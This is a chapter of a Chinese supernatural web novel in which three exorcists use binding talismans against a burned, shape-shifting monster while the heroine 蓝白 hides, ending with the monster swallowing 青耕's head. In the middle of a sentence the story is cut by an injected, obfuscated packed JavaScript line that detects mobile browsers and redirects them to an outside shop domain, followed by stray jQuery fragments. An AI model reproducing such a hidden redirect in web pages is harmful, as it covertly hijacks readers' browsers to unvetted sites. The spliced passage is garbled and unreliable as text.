烧焦人像无头苍蝇,在这边的灌木丛中不断徘徊,好几次都差点找到蓝白的藏身之处,但每次四人都巧妙闪开。
但一直这样下去也不是办法,原本因为山林遮天蔽日而感到阴冷的蓝白擦了擦额角的汗珠问道:“我们这是来玩躲猫猫了吗?”
“别急。”乘黄透过灌木丛间观察着烧焦人的动向。
除了烧焦人是凭嗅觉来判断前进方向这点,目前他们没能得出任何结论。按理说,烧焦人应该会怕火,但现在周遭全是茂密的山里,一把火上去,之后的麻烦不会比现在小。
商温也在大脑中不断过滤着可以派上用场的符咒。突然,他灵光一闪,转身对三人说道:“缚身符,我去引祂,青耕你用缚身符困住祂,乘黄你试一下能不能将他收进锁怪串里。”
锁怪串?
蓝白有些好奇地看向乘黄,难道是什么类似于锁妖塔的东西?
只见乘黄还真总手上取下一串檀木珠子,从外表上看就只是一个平平无奇的手链,她本以为这是乘黄用来凹人设的饰品,没想到还有这用处呢。
想要,蓝白的眼底涌现出一丝羡慕。
但乘黄却忧心忡忡地在手里掂了掂这串珠子,他已经很久没有用过这个东西了,用进废退,也不知道这珠子现在能不能承得住烧焦人这么重的异怪。
但想要活捉,他也想不出其他方法了。
三人都有了自己的任务,蓝白看着已经开始做准备工作的三人,“哎那我呢?”
乘黄已经绕到了烧焦人的另一侧,青耕也蹲在烧焦人后面蓄势待发,只有商温还在蓝白这边,他看着蹲在树后探头询问的蓝白,“站起来。”
蓝白不明所以,但还是听话地站起身。
商温拽过蓝白的胳膊,稳稳放在自己的腰间“抱紧。”
蓝白顿时僵住了,这是什么意思?她记得她和商温的关系貌似没有好到出任务前需要拥抱分别的程度吧?但是不得不说,虽然隔着几层布料,但她还是能感受到商温的身材比她想象的要好上很多。
尤其是双臂上那结实的肌肉,将她牢牢地圈在怀里,一股莫名的安心感让她差点忘记现下的处境。
还没等蓝白的胡思乱想完,商温便松开了蓝白,他将脸上的泥巴擦掉,拿出符咒夹在指尖,警惕地盯着烧焦人的动向,侧脸对蓝白叮嘱道:“你在你身上再涂点泥巴,我需要我身上的味道比你还要浓。”
蓝白这才明白商温刚刚那番动作的用意,她尴尬地抿起嘴,连连答应下来。
还好刚刚还没来得及说什么让人误会的话。
蓝白又蹲了回去,随手抠着地上的泥巴往身上、脸上胡乱涂着。
商温耸了耸鼻子,确认自己身上的味道已经足够浓,抬手冲已经藏匿好的青耕和乘黄打了个手势,两人见状立马心领神会,做出进攻姿态。
商温弓着身,踏出灌木丛,站在了烧焦人的侧后方。
刚刚还漫无目的,句句低吟的烧焦人像是感应到人类的丧尸,祂猛地转身,精准面朝商温的方向。
“这脸也太像伏地魔了,红脸版伏地魔啊。”蓝白蹲在树后,小心翼翼地探头观察着好不容易看到正脸烧焦人。
烧焦人脸上高低不平地疤痕纵横交错,皮肉紧紧贴在突兀的颧骨上,皱缩外翻的嘴巴此刻咧出一个狰狞的笑,露出嘴巴内细细密密的尖牙,看得蓝白一阵恶寒。
那残缺歪斜的鼻子也一下一下地翕动着,似乎在确认面前人身上的味道是不是自己找的人。
见状,蓝白屏住呼吸往后退了两步,尽量不让烧焦人闻出什么端倪。
好在,烧焦人并没有蓝白想的那么聪明。祂似乎已经认定了商温就是蓝白,烧焦人伸长手臂,一步一步地朝商温走去,嘴里的呢喃声越来越大,还伴随着骇人的狞笑。
“嘿嘿,蓝白......你来了,蓝白......”
而商温一直站在原地,他两手指间夹满了缚身符,只待烧焦人走进符咒射程范围内。
但事情并没有他们想的那么顺利,随着烧焦人越走越近,祂身上的皮肤开始大面积脱落,就好像蛇蜕皮一般,刚刚还凹凸扭曲、遍布沟壑的身体,逐渐变成了粉嫩的皮肤,不过几步路的功夫,就已经完全看不出来是那个烧焦人了。
商温眉头紧锁,总觉得有一种不好的预感,但他却不敢动,生怕烧焦人能通过他的动作判断出他并不是蓝白,商温只能在心里默默估算着时间。
大概还需要五秒。
5.....4......3......
就在商温举起符咒,准备冲向烧焦人时,意外发生了。
烧焦人的面部接二连三地鼓起肉色的水泡,在这些肉色水泡中,商温竟看到了烧焦人原本不存在的五官。
眼睛、鼻子、耳朵、嘴巴......
不好!
虽然离符咒射程还要几步路,但比起被烧焦人发现祂找错了人后商温只能被动防御,还是他主动进攻的胜算更大。
商温一个箭步冲到烧焦人面前,还没等祂反应过来,一个符咒便被贴到了祂头上,意识到自己被骗的烧焦人愤怒地啸叫着,祂伸出手想要抓住商温,却被商温一个侧身闪过。
一眨眼的功夫,烧焦人的后脑勺上也被贴上了一张。但缚身符除了头部前后,还需要贴在异怪的四肢前后。
可烧焦人此刻已经失控,祂捂住头,痛苦地嚎叫着,气泡里的双眼很快锁定住商温,双臂犹如橡皮筋不断拉伸延长,如同两条没有尽头的毒蛇在半空中狂舞,朝着商温冲去。
商温双脚稳稳扎在地上,后腰猛地往后一折,长臂惊险地扫过他的鼻尖,商温趁此机会,将符咒钉在烧焦人手上。
商温顺势一个后翻,顺势压低重心,只剩一个符咒的右手背在身后冲青耕打着手势。
青耕从后面灌木丛中一跃而出,落在商温身边接过他左手的几个符咒。
“我左你右。”
商温话音刚落,两人默契分头突进,趁着异怪的注意力还在手上的符咒上,两人一左一右贴地飞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740466|208167||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
速前进,绕至烧焦人双脚两侧。
眼看符咒就要贴上脚面,烧焦人却突然反应过来,灵活的身躯向后急闪,双脚骤然抽离地面。两人目的落空,两张符咒啪嗒落在地上。
但两人来不及懊悔,下一秒,烧焦人长着血盆大口朝两人扑来,祂一个扫堂腿想要将两人绊倒,却被两人向后一闪堪堪躲过。
这下被束缚住右手的烧焦人更加愤怒了,祂没做停歇,咆哮着瞄准了两人中更弱一点的青耕。
看出烧焦人意图的商温冲青耕喊道:“青耕,刀!”
青耕反手利落抽出长刀抵在胸前,烧焦人拉长的手臂狠狠抵在刀面,压倒性的力量不断向前推搡,青耕只能咬紧牙关不断后退。
脚下的泥土被狠狠刨开,地面犁出两道深深的泥坑。
青耕的背狠狠地抵在树上,商温见状立马冲上前,但反应过来的烧焦人,死死抓住青耕手里的长刀,朝身后甩去。
商温只得又一次放弃进攻,虽说是又一次躲过去了,但青耕就没那么好运了,她没来得及松开刀柄,硬生生被烧焦人甩到半空中。
看着脚下离自己三尺远的地面,青耕只能紧紧地抓住刀柄,好不被烧焦人甩下去。
还躲在暗处的蓝白看着如今焦灼的局势有些坐不住了。
该死该死该死该死,看来还是她把事情想得太简单了。蓝白看着被吊在半空中的青耕,和不远处半跪在地上的商温。
烧焦人现在显然已经准备拿青耕开刀了,她心不由得揪了起来。
可她想不出任何能帮到青耕的办法,蓝白紧张地咬着手指,犹豫着要不要冲出去。既然烧焦人是为了找自己,那她站出来的话,祂就会放过青耕吧。
这里的所有人都能逃过一劫,除了她自己。
但即使是这样,蓝白心里那杆秤还是不由自主地朝人多那一方倾斜。
就在蓝白要站起身时,乘黄不知何时绕到了蓝白身后,他摁住蓝白的肩膀。
“别动,我去。”
“哎。”
蓝白起身想要抓住乘黄,但下一秒,青耕的惨叫划破了山林,两人的动作顿时僵在了原地。
烧焦人抓住刀刃的手像是没有知觉一般,鲜血从掌缝中流出,祂猛地松开左手,只见长刀已被一分为二,青耕也在这时从空中急速下坠。
商温一跃而起想要接住青耕,但却被烧焦人抢先一步,烧焦人死死地钳住青耕的脖子,青耕面色发青,拼命挣扎着,但却无济于事。
但好在商温刚刚趁着与烧焦人左手擦肩而过的机会,将缚身符贴在了祂的手背,青耕捏紧手里的符咒,想要贴入烧焦人掌心。
但烧焦人完全不给她这种机会,只见祂脖子不断拉长,直至与青耕平视。
青耕惊恐地看着烧焦人脸上气泡里盯着她的眼睛,声音止不住地发颤,“你要干什么?”
烧焦人没有回应,祂张大嘴,大到面部除嘴巴以外的气泡全部被挤到了后脑勺。漆黑喉腔如同无底深渊,将青耕的头颅一口吞下。